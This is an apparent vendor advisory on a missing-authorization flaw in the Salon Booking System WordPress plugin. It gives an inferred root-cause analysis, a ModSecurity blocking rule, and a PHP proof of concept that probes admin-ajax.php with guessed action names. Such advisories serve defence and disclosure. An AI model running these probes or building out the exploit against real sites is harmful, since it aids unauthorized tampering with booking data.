Atomic Edge analysis of CVE-2026-17021 (metadata-based): This is a missing authorization vulnerability in the Salon Booking System – Free Version WordPress plugin, affecting versions up to and including 10.30.33. The flaw allows unauthenticated attackers to invoke a privileged function without any capability check. CVSS 3.1 scores it 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N), indicating a remotely exploitable, low-complexity issue with no confidentiality or availability impact but a limited integrity impact. The patched version is 10.30.34.
Root Cause: The CWE-862 classification and description point to a missing capability check on a function exposed to unauthenticated users. Atomic Edge research infers the vulnerable function is registered as a WordPress AJAX action (wp_ajax_nopriv_*) or a REST route without a permission_callback. No code diff is available, so the exact function name, parameter names, and affected operation are inferred, not confirmed. The vulnerability is not a nonce bypass alone; the check is entirely absent, meaning even a valid nonce would not protect the endpoint since the handler does not verify user capabilities.
Exploitation: An unauthenticated attacker sends a crafted HTTP request to either /wp-admin/admin-ajax.php with an action parameter matching the plugin’s booking handler, or to a /wp-json/salon-booking-system/v1/… route. Because the handler lacks current_user_can() and nonce verification, the request executes with the privileges of the WordPress process. Atomic Edge analysis assumes the action name follows the plugin’s slug convention (e.g., action=salon_booking_system_…). The integrity-only CVSS rating suggests the operation modifies booking records, settings, or status values rather than returning sensitive data. Attackers can enumerate valid action names by inspecting the plugin’s public JavaScript assets, which typically localize AJAX action strings for frontend booking forms.
Remediation: The fix in 10.30.34 likely adds a capability check (current_user_can(‘manage_options’) or a custom booking capability) and a nonce verification (check_ajax_referer or wp_verify_nonce) at the top of the vulnerable handler. For REST routes, a permission_callback returning false for unauthenticated users is required. Site owners should update immediately; virtual patching at the WAF layer is possible but limited, since the exact action name is not published in the metadata.
Impact: Successful exploitation allows unauthenticated modification of booking-related data, which can include appointments, customer records, staff assignments, or status fields. This integrity impact can disrupt salon operations, spoof bookings, or alter business records. Privilege escalation or remote code execution is not indicated by the CVSS vector (C:N/I:L/A:N). Atomic Edge assesses the real-world risk as moderate: easy to exploit remotely, but constrained to the specific data the vulnerable function manipulates.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-17021 (metadata-based)
# NOTE: The exact AJAX action name is not published in the CVE metadata.
# This rule targets the plugin's admin-ajax surface and blocks requests whose
# action parameter contains the plugin slug prefix, which is the strongest
# signature inferable from the available information. Adjust the regex if the
# real action name diverges from the slug convention.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261721,phase:2,deny,status:403,chain,msg:'CVE-2026-17021 Salon Booking System missing authorization via AJAX action',severity:'CRITICAL',tag:'CVE-2026-17021',tag:'attack-auth-bypass'"
SecRule ARGS_POST:action "@rx ^salon_booking_system" "t:lowercase,chain"
SecRule REQUEST_METHOD "@streq POST" "t:uppercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-17021 - Salon Booking System – Free Version <= 10.30.33 - Missing Authorization
//
// ASSUMPTIONS (inferred, not confirmed from source):
// 1. The vulnerable function is exposed as a WordPress AJAX action reachable via
// wp-admin/admin-ajax.php, likely registered with wp_ajax_nopriv_ to allow
// unauthenticated access.
// 2. The action name follows the plugin slug convention: salon_booking_system_*.
// 3. The handler performs a privileged operation (e.g., modifying a booking or
// settings) without current_user_can() or nonce verification.
//
// Because the exact action and parameter names are not published in the CVE
// metadata, this PoC enumerates candidate action names and sends benign probe
// requests. Adjust $candidate_actions based on the plugin's JS assets.
$target_url = 'http://example.com'; // <-- set the target WordPress site
$candidate_actions = [
'salon_booking_system',
'salon_booking_system_action',
'salon_booking_system_ajax',
'salon_booking_system_update',
'salon_booking_system_save',
];
$endpoint = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
foreach ($candidate_actions as $action) {
$payload = [
'action' => $action,
// Benign probe value; a real exploit would supply the operation-specific
// parameter names (e.g., booking_id, status, field values).
'probe' => 'atomic_edge',
];
$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = curl_error($ch);
curl_close($ch);
echo "[*] Action: {$action}n";
if ($err) {
echo " curl error: {$err}n";
continue;
}
echo " HTTP {$http_code}n";
// A response of 0 typically indicates WordPress found no matching handler.
// Any other response (especially 200 with plugin-specific data) suggests the
// action is registered and may be vulnerable to unauthenticated access.
echo ' Body: ' . substr(trim($response), 0, 200) . "nn";
}
echo "[!] If a candidate action returns a non-zero, non-403 response, verify thatn";
echo " the operation is unauthorized (no nonce, no capability check) and thatn";
echo " it mutates state. Do not abuse this against systems you do not own.n";
?>